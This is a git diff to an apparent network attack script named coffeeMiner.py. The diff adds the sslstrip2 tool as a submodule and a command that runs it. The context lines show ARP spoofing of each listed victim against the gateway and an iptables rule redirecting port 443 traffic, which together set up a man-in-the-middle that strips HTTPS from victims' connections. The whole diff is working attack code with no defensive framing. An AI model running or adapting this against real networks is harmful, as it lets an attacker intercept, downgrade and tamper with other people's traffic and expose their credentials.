diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..ef28802 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "sslstrip2"] + path = sslstrip2 + url = https://github.com/byt3bl33d3r/sslstrip2 diff --git a/coffeeMiner.py b/coffeeMiner.py index e5cf421..4ca2890 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -39,6 +39,9 @@ os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRE for victim in victims: os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &") os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &") + +# run SSLStrip on port 8000 +os.system("python sslstrip2/sslstrip.py -l 8000 &") # start the http server for serving the script.js, in a new console os.system("xterm -hold -e 'python3 httpServer.py' &") diff --git a/sslstrip2 b/sslstrip2 new file mode 160000 index 0000000..f228f30 --- /dev/null +++ b/sslstrip2 @@ -0,0 +1 @@ +Subproject commit f228f302826cf7b4f18823ba2f8a4b1cca89404e